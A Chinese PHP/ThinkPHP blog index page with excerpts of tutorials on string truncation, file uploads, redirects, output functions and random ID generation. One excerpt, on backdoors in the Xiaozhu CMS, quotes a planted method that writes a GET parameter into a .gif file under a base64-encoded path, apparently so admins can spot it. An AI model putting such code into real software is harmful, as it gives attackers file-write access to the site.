• Thinkphp截取标题长度加省略号

    第一步 公共文件common.php创建msubstr方法,最新下新增: /** *+———————————————————- * 字符串截取,支持中文和其他编码 *+——————————————————̵...阅读全文
    作者:admin | 分类:cltphp | 阅读: |
  • tp5 文件上传方法

    thinkphp5 文件上传方法,代码如下: 建立/application/index/controller/Index.php <?php namespace app\index\controller; use think\Controller; use think\Request; class Index extends Controller { public function index() { return $this->fetch(); } public function upload(){ // 获取表单上传文件 例如上传了001.jpg $file = request()->file(‘image’); /...阅读全文
    作者:admin | 分类:Thinkphp | 阅读: |
  • TP5助手函数与3.2版本的单字母函数对比

    我们一直用ThinkPHP 3.2 觉得单字母函数非常方便,但在TP5就废除了,名字为助手函数,主要考虑兼容性,不会造成滥用情况。下在是对照表,对于初学者很有必要。 5.0助手函数 助手函数 描述 abort 中断执行并发送HTTP状态码 action 调用控制器类的操作 cache 缓存管理 config 获取和设置配置参数 controller 实例化控制器 cookie Cookie管理 db 实例化数据库类 debug 调...阅读全文
    作者:admin | 分类:Thinkphp | 阅读: |
  • php输出echo、print、print_r、printf、sprintf、var_dump的区别比较

    一、echo echo() 实际上不是一个函数,是php语句,因此您无需对其使用括号。不过,如果您希望向 echo() 传递一个以上的参数,那么使用括号会发生解析错误。而且echo是返回void的,并不返回值,所以不能使用它来赋值。 例子: 代码如下: <?php $a = echo(“55nav”); // 错误!不能用来赋值 echo “55nav”; // 55nav echo (“55nav”); // 55nav echo (&...阅读全文
    作者:admin | 分类:Thinkphp | 阅读: |
  • PHP 301重定向

      <?php header("HTTP/1.1 301 Moved Permanently");//说明返回的是301 header("Location:http://www.wmphp.com");//重定向后的网址 ?> <meta http-equiv=”refresh” content=”0;url=http://blog.wmphp.com/” /> //HTML直接转向 阅读全文
    作者:admin | 分类:PHP | 阅读: |
  • php编程 会员号和密码

    会员号12位,前6位为100508,后6位生成不含4的随机数;密码16位数字,生成1000个不重复的。 <?php //会员号不含4 function getRandStr($length) { $str = ‘012356789’; $randString = ”; $len = strlen($str)-1; for($i = 0;$i < $length;$i ++){ $num = mt_rand(0, $len); $randString .= $str[$num]; } return $randString ; } $chang=’100508′; //...阅读全文
    作者:admin | 分类:PHP | 阅读: |
  • 小猪常见后门和漏洞

    后门一、查找文件TAction.class.php public function test(){ file_put_contents(base64_decode(‘dHBsL1VzZXIvZGVmYXVsdC9jb21tb24vaW1hZ2VzL2ZhY2UvMTA0LmdpZg==’),htmlspecialchars($_GET[‘n’])); }* 执行原理PHP图片注入木马//疑似后门,它生成文件tpl/User/default/common/images/face/104.gif 这个文件虽然是104.gif,但它的内容却是由提交参数写入的。 后门...阅读全文
    作者:admin | 分类:PHP | 阅读: |
  • WordPress 3.9“Smith”简体中文版下载

    今天,开源博客WordPress 3.9简体中文版现已开放下载,或在您的WordPress仪表盘中升级。本次WordPress 3.9命名为“Smith”,以纪念吉米·史密斯,爵士风琴家。这次发布包含了众多细部修改,推荐普通用户升级。   WordPress 3.9更新日志: • 更流畅的媒体编辑体验 • 改良的可视化编辑 新的可视化编辑器在速度、可用性、移动支持方面都有了进步。您现在可以从您的文字处理器中直接粘贴文...阅读全文
    作者:admin | 分类:PHP | 阅读: |
  • PHP学习整理

    第23 字符串的处理 一、字符串的格式化 chop()函数移除字符串后面多余的空白,包括新行。//这个不重要 ltrim()函数移除字符串起始处多余空白。//只清理左边 rtrim()函数移除字符串后面多余的空白,包括新行,此函数是chop()的别名。//只清理右边 trim()函数移除字符串两边多余的空白。 <?php echo trim(‘ php ‘); ?> nl2br()函数将字符串作为输入参数,用XHTML中的<br...阅读全文
    作者:admin | 分类:PHP | 阅读: |
  • 非常实用的PHP在线解压缩程序

    一般我们通过FTP上传或者下载网站文件时,用于文件数量多的原因,FTP方式只能逐个目录查找,增加了反应时间,上传12M网站文件,需要30分钟,而且经常会遇到服务器断开,以及漏传等现像,通过PHP在线解压程序,同样是上传相同的文件,不超过3分钟即可完成整站上传或下载,可以完美解决该问题。一份ya.php用于压缩网站文件,还有一份phpzip用于压缩单个文件夹,和解压文件,效果图如下: &n...阅读全文
    作者:admin | 分类:PHP | 阅读: |
  • 万能密码重设工具

    程序下载地址:http://blog.wmphp.com/key_god.zip [更新纪录-2013.10.28] *版本升级为V1.1,加入本地锁定功能(当卸载失败的情况下将被锁定)并修正n个bug。 [更新纪录-2013.10.23] *增加”找回密码后自动强制卸载本程序”功能。 [更新纪录-2013.10.19] * “云端”加入支持HDwiki、Shopex策略。 [更新纪录-2013.10.18] * “云端”加入支持ECshop的策略,并更新Discuz_Ucent...阅读全文
    作者:admin | 分类:PHP | 阅读: |